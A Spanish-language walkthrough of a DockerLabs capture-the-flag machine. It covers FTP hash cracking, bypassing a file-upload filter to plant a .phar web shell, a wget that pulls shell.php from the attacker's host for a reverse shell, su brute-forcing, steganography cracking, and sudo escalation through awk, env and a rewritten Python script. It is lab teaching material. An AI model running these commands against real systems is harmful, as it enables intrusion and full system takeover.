> For the complete documentation index, see [llms.txt](https://dark0547.gitbook.io/tdlc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dark0547.gitbook.io/tdlc/writeups/dockerlabs/facil/file.md). # File ## Reconocimiento Iniciamos haciendo un reconocimiento del servidor para ver sus puertos disponibles

## Explotación FTP - Crack Password Nos encontramos con el puerto 21 y el 80 y vemos que esta activo el login **Anonymous** en el FTP vamos a revisarlo, funciona perfectamente y nos encontramos con un archivo llamado **anon.txt**

Nos traemos ese archivo a nuestra maquina y vemos que contiene

Al parecer es un hash de tipo **MD5**, vamos a comprobarlo con **hash-identifier**

Y vemos que si, así que vamos a crackearlo con **John The Ripper** usando el siguiente comando ```bash john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 anon.txt ```

## Fuzzing Web Y vemos que el hash es **justin** en texto plano, puede ser un usuario o contraseña que nos puede servir después, ahora vamos a investigar la pagina web

Nos encontramos con esa pagina web a la cual le vamos hacer Fuzzing para ver directorios ocultos

## Explotación - (RCE) Vemos que nos encuentra las siguientes rutas a lo que se puede ver parece ser una vulnerabilidad de Remote Code Execution, así que vamos a ver con que nos encontramos\ \ Intentamos cargar el siguiente código en php ```php ``` Vemos que al intentar cargar un archivo PHP nos muestra error

Así que vamos a tratar de cargar un payload con BurpSuite de la siguiente forma Interceptamos la petición del **file\_upload.php** y la mandamos al intruder donde pondremos en payload configuration algunas extensiones comunes

Y ponemos **&&** en la extensión del archivo para que burpsuite detecte que ahí es donde debe de cambiar la extensión una vez tengamos todo listo le damos en start attack

Vemos que con todos fue un status code 200, vamos a revisar en la ruta uploads con que extensión se subió realmente

Y vemos que fue con la .phar, ahora si ejecutamos un comando con el archivo debería de funcionar

Ahora vamos a ejecutar un **cat /etc/passwd** para ver que usuarios hay disponibles y tenerlos en cuenta

Ahora, cargamos un **ls -la** para ver los permisos de las rutas y poder cargar archivos php ```bash ls -la ../../../../../../../ ```

Ahora sabiendo que la carpeta **tmp** tiene todos los permisos para todos los usuarios intentamos cargar un archivo php con wget para asi obtener una revershell ```bash wget http://172.17.0.1:443/shell.php -P ../../../../../../../tmp ```

## Intrusión Y vemos que funciona así que ahora ejecuto el archivo php y obtengo una revershell

## Pivoting entre usuarios Al intentar escalar privilegios de la forma tradicional vemos que no nos deja ejecutar un **sudo -l** ni encontramos binarios o archivos SUID que nos puedan servidor, decido intentar hacer un ataque de fuerza bruta hacia el **su** de los usuarios, con un servidor python montado en mi maquina atacante descargo los archivos necesarios para realizar este ataque en la maquina victima

### Usuario - Fernando Una vez descargado los archivos damos permisos de ejecución al script y ejecutamos el ataque

### Usuario - Mario Obtenemos la contraseña del usuario **fernando** y funciona

Si entramos a su directorio vemos que hay una imagen la cual dando permisos de lectura y escritura en el directorio **html** con el usuario **www-data** podemos mover esa imagen para después descargarla en nuestra maquina atacante

Y si bien podemos determinar que puede ver algo escondido en esta imagen, así que vamos a revisar con **estenganografia** para ver que encontramos

Vemos que hay una contraseña, vamos a intentar romperla con **stegseek**

Encontramos la contraseña y extraemos el archivo escondido

Funciona, ahora leemos el archivo para ver que nos encontramos

Es un hash, vamos a pasarlo a **hash-identifier** para identificarlo y poder crackearlo

Ahora que sabemos que el tipo es **MD5** vamos a romper la contraseña con **John The Ripper**

Y nos da la contraseña probablemente de un usuario el cual puede ser **mario**

### Usuario - Julen Vemos que funciona y ahora si podemos ejecutar **sudo -l**

Nos encontramos con un binario el cual nos puede ayudar a obtener una shell con el usuario **julen**, vamos a buscar en **GTFOBins** para ver mas detalles

Vemos que si, así que procedo a ejecutarlo para obtener una shell ```bash sudo -u julen /usr/bin/awk 'BEGIN {system("/bin/sh")}' ```

### Usuario - Iker Y como nos funciona ahora ejecutamos un **sudo -l** para ver que mas encontramos

Nos encontramos con otro binario con el cual nos podemos lanzar una shell pero como el usuario **iker** vamos a revisar otra vez en **GTFOBins** mas detalles

Viendo eso, ejecutamos la shell de la siguiente forma ```bash sudo -u iker /usr/bin/env /bin/sh ```

Y asi obtendriamos el usuario **iker** ### **Usuario - root** Ahora ejecutamos un **sudo -l** para ver que nos encontramos que nos pueda ayudar a tener usuario root

Vemos que hay un script el cual esta en la ruta del usuario **iker** el cual podemos ejecutar como root, así que vamos a modificarlo para obtener una shell como root, pero antes de intentar modificarlo debemos eliminarlo para que nos deje de lo contrario nos dará error

Ahora si, creamos un nuevo archivo que contenga las siguientes lineas ```bash echo "import os" > geo_ip.py echo "os.system('/bin/bash')" >> geo_ip.py ```

Una vez tengamos el script completo lo ejecutamos de la siguiente manera ```bash sudo /usr/bin/python3 /home/iker/geo_ip.py ``` y con este comando obtendríamos una shell como usuario root

PSDT: No descifre de que era la primera contraseña